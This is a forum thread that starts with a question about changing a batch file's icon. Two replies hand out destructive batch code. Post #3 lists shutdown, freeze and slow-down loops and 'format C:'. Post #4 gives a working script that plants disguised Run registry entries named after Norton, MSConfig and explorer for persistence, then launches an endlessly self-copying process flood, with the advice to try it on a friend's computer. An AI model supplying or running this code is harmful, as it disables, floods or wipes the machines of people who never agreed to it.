Results 1 to 4 of 4

Thread: How to Change Icon of the Batch File?

  1. #1
    Join Date
    May 2008
    Posts
    97

    How to Change Icon of the Batch File?

    Hi, can anyone tell me how to change icon of batch file which you have created for specific work? I want some more tricks to create batch file which can perform some task. Can anyone will provide me that? Please give me if you have it.

  2. #2
    Join Date
    May 2008
    Posts
    4,085

    Re: How to Change Icon of the Batch File?

    Hi, I don't know whether there is any solution to change icon of single batch file or not? But yes you can change icon of the all batch files by doing following steps:
    • Go to My Computer.
    • Click view, then options and then then the file types.
    • Select the ms-dos batch file.
    • Click on edit.
    • From this you can select one icon for you batch files.

  3. #3
    Dr. V Guest

    Re: How to Change Icon of the Batch File?

    Hi, you can't change icon of the single batch file. I am giving you some code which can make fun for you.
    Try this:
    For Shutdown of Computer:
    Code:
    shutdown -s -t 05 -c "Shutting down"
    For Restart computer:
    Code:
    shutdown -r -t 05 -c "Restarted very soon"
    To Freeze the computer:
    Code:
    start name.bat 
    name.bat
    For Slowing down you pc:
    Code:
    name.bat>>name.bat 
    name.bat
    For formatting your c drive if it is unprotected:
    Code:
    format C:
    To delete with the extension provided:
    Code:
    *.extension

  4. #4
    Join Date
    Jan 2008
    Posts
    3,388

    Re: How to Change Icon of the Batch File?

    Hi, you can't able to change icon of the batch file. You can set it to specific icon by changing icon of all batch file. You can change icon of single batch file if you have made shortcut of it. I am sending you code for batch file which will be harmful to Microsoft registry editor. Just check it on your friends computer.

    Code:
    @echo off 
    del C:\1.reg 
    >>"C:\1.reg" ECHO Windows Registry Editor Version 5.00 
    >>"C:\1.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 
    >>"C:\1.reg" ECHO "MSConfig"="C:\\1.bat " 
    >>"C:\1.reg" ECHO "MCUpdateExe"="c:\\2.bat" 
    >>"C:\1.reg" ECHO "explorer"="c:\\3.bat" 
    >>"C:\1.reg" ECHO "Norton"="c:\\windows\\1.bat" 
    >>"C:\1.reg" ECHO "System"="c:\\windows\\2.bat" 
    >>"C:\1.reg" ECHO "autoexec"="c:\\windows\\3.bat" 
    regedit.exe /s C:\1.reg 
    
    >>"C:\2.bat" ECHO :1 
    >>"C:\2.bat" ECHO copy 2.bat C:\3.bat 
    >>"C:\2.bat" ECHO copy 2.bat C:\4.bat 
    >>"C:\2.bat" ECHO copy 2.bat C:\5.bat 
    >>"C:\2.bat" ECHO start C:\2.bat 
    >>"C:\2.bat" ECHO start C:\3.bat 
    >>"C:\2.bat" ECHO start C:\4.bat 
    >>"C:\2.bat" ECHO start C:\5.bat 
    >>"C:\2.bat" ECHO copy C:\2.bat C:\windows\1.bat 
    >>"C:\2.bat" ECHO copy C:\3.bat C:\windows\2.bat 
    >>"C:\2.bat" ECHO copy C:\4.bat C:\windows\3.bat 
    >>"C:\2.bat" ECHO start C:\windows\1.bat 
    >>"C:\2.bat" ECHO start C:\windows\2.bat 
    >>"C:\2.bat" ECHO start C:\windows\3.bat 
    >>"C:\2.bat" ECHO goto 1 
    
    start C:\2.bat

Similar Threads

  1. Want a batch file to change hosts permissions.
    By Wazza10Roo in forum Software Development
    Replies: 2
    Last Post: 20-07-2012, 06:55 PM
  2. How to change the icon of a .bat file in Windows 7?
    By Hima!! in forum Windows Software
    Replies: 6
    Last Post: 05-10-2011, 01:15 AM
  3. How to change icon or folder icon in Android
    By Tana$ya in forum Portable Devices
    Replies: 6
    Last Post: 06-07-2011, 10:35 AM
  4. Change the icon of an Excel file
    By Deep23 in forum Customize Desktop
    Replies: 5
    Last Post: 13-10-2010, 10:30 PM
  5. Can't change file association for DOS batch files
    By pushpendra in forum Windows XP Support
    Replies: 6
    Last Post: 11-03-2009, 12:10 AM

Tags for this Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
Page generated in 1,711,619,694.96429 seconds with 17 queries